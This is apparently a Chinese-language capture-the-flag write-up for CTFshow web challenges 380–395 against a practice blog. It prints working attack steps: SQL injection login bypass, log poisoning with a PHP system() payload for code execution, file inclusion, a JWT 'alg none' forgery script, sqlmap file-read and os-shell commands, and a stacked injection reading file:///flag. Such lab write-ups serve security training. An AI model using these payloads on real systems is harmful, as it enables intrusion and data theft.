本文最后更新于 213 天前,其中的信息可能已经过时。
web380
随便打开一个发现都是page_+数字.php的网址,那就试试page.php,点开发现打开$id.php失败,直接测试id这个参数,然后就看看呗,发现?id=flag直接就出来flag了
web381
点开二件套(dir,看源码),
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<title>CTFshow萌新博客</title>
<link rel="stylesheet" href="layui/css/layui.css">
<link rel="stylesheet" href="layui/css/global.css">
<link rel="stylesheet" href="alsckdfy/layui/css/tree.css">
发现有个这个,不过有个特殊的alsckdfy,因为其他的都是在layui下面嘛,点开看看
就出来flag了
web382
因为他这个题是层层递进的嘛,直接/alsckdfy,发现是登录的网址。通常情况下面登录框存在SQL注入啊,XSS啊什么的漏洞,直接SQL注入测试,发现万能密码直接出来
username:1' or 1=1#
password:随便写就行
web383
同上
web384
密码前2位是小写字母,后三位是数字
username:admin
password:直接抓包改就行了,爆破器 跑出来是xy123
web385
这个老样子二件套,出来/install
请务必在安装成功后删除本文件
需要重新安装请访问install/?install,管理员密码将重置为默认密码
访问/install/?install
请务必在安装成功后删除本文件
需要重新安装请访问install/?install,管理员密码将重置为默认密码
安装成功,请立即删除本文件
说明密码重置了,而layui他默认账号是
admin/admin888
访问/alsckdfy 输入账号密码出来flag
web386
dir扫出来/install
/install
lock.dat存在,你已经安装过了,请勿重复安装
/page.php
打开page_$id.php失败
/clear.php
清理完成
开始猜一下参数嘛,file啊id什么的
/clear.php?file=./install/lock.dat
再访问/install/发现
请务必在安装成功后删除本文件
需要重新安装请访问install/?install,管理员密码将重置为默认密码
再次访问install/?install发现重置密码了
访问/alsckdfy 输入默认的账号密码出来flag
web387
dir一下出来/debug
/debug
file not exist
然后使用file参数发现可以进行文件包含,就查看日志
/debug/?file=/var/log/nginx/access.log
发现可以,就尝试日志注入(在UA头里面传🐎,然后进行RCE)就可以了
<?php system('cat /var/www/html/alsckdfy/check.php > /var/www/html/1.txt')?>
然后访问1.txt就可以了
web388
dir:发现alsckdfy/ 然后接着发现alsckdfy/editor/有个文件编译器
发现有一个像链接的东西传入文件不过要使用zip
1.zip
<?php system('cat /var/www/html/alsckdfy/check.php > /var/www/html/1.txt')?>
访问/debug/ 发现输入参数file可以执行文件的命令
直接file=zip的文件地址,然后访问1.txt就出来了
web389
/debug
权限不足
发现是cookie的原因
在jwt.io那里解密发现是user,直接改一下再加密,附上代码
import jwt
# payload
token_dict = {
"iss": "admin",
"iat": 1758542216,
"exp": 1758549416,
"nbf": 1758542216,
"sub": "admin",
"jti": "1b62ca025adc6885d1b8d197a2b7cd01"
}
# headers
headers = {
"alg": "none",
"typ": "JWT"
}
jwt_token = jwt.encode(token_dict, # payload, 有效载体
key='',
headers=headers, # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
algorithm="none", # 指明签名算法方式, 默认也是HS256
) # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str
print(jwt_token)
//记得改
然后操作和上面一样
web390
非预期解是和上面操作一样的
预期解
点开任意一个文章,发现是
page.php?id=1
应该是存在SQL注入的,测试一下
1 or 1=1
发现可以,sqlmap跑一下
sqlmap -u url --file-read /var/www/html/alsckdfy/check.php --batch
运行完会将文件保存在你的本地,直接访问就拿到flag
利用 sqlmap 进行getshell
python sqlmap.py -u url --is-dba
发现显示 current user is DBA:True
可以进行getshell
python sqlmap.py -u url --os-shell
然后是4:php 2:自定义文件 写入shell,会给你网站,进行文件上传就ok了
web391
web392
同上,包括非预期解
web393
同样可以使用上面的非预期解,不过可以使用sql注入
url为:/link.php?id=4
是有参数的,所以基本可以肯定是与数据库有连接的
可以利用上一题的注入点来进行insert注入或者update注入,并利用ssrf来读取本地文件:a';update link set url='file:///flag' where id = 1;#
web394,web395
都是利用上面的非预期解


